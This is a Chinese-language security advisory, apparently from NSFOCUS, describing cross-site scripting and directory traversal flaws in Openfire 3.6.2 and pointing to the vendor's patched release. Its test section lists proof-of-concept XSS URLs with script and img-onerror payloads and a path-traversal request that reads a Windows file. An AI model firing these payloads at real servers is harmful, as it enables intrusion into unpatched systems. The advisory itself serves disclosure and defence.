安全研究

安全漏洞
Openfire多个跨站脚本和目录遍历漏洞

发布日期:2009-01-08
更新日期:2009-01-09

受影响系统:
Ignite Realtime Openfire 3.6.2
不受影响系统:
Ignite Realtime Openfire 3.6.3
描述:
BUGTRAQ  ID: 32935,32937,32938,32939,32940,32943,32944,32945
CVE(CAN) ID: CVE-2009-0496,CVE-2009-0497

Openfire(原名为Wildfire)是一个采用Java开发的跨平台开源实时协作(RTC)服务器。

Openfire的logviewer.jsp文件中没有正确地过滤log参数,group-summary.jsp文件没有正确过滤search参数,user-properties.jsp文件没有正确过滤username参数,audit-policy.jsp文件没有正确过滤logDir、logTimeout、maxDays、maxFileSize和maxTotalSize参数,log.jsp文件没有正确地过滤掉<img>标签,这可能导致反射式跨站脚本攻击。

server-properties.jsp页面未经过滤便显示了属性,muc-room-summary.jsp页面未经过滤显示了在muc-room-edit-form.jsp中编辑的属性,远程攻击者可以通过恶意属性名称执行储存式跨行脚本攻击。

log.jsp中缺少过滤,允许远程攻击者通过目录遍历攻击读取任意.log文件。以下是log.jsp中的有漏洞代码段:

File logDir = new File(Log.getLogDirectory());
String filename = (new
StringBuilder()).append(log).append(".log").toString();
File logFile = new File(logDir, filename);

<*来源:Federico Muttis
  
  链接:http://marc.info/?l=bugtraq&m=123144873131294&w=2
        http://secunia.com/advisories/33452/
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

http://vulnsite.com/logviewer.jsp?clearLog=false&emailLog=false&lines=&log=%22/%3E%3Cscript%3Ealert(%27xss%27)%3C/script%3E%3C!--&markLog=false&mode=desc&refresh=&saveLog=false
http://vulnsite.com/group-summary.jsp?search=%22%3E%3Cscript%3Ealert('xss')%3C/script%3E<!--
http://vulnsite.com/user-properties.jsp?username=%3Cscript%3Ealert(%27xss%27)%3C/script%3E
http://vulnsite.com/audit-policy.jsp?maxTotalSize=%22%3E%3Cscript%3Ealert(%27xss%27)%3C/script%3E%3C!--&update=Save%20Settings
http://vulnsite.com/log.jsp?log=%3Cimg%20src=%27%27%20onerror=%27javascript:alert(%22xss%22)%27%3E
log.jsp?log=..\..\..\windows\debug\netsetup

建议:
厂商补丁:

Ignite Realtime
---------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.igniterealtime.org/downloads/index.jsp#openfire

浏览次数:2742
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障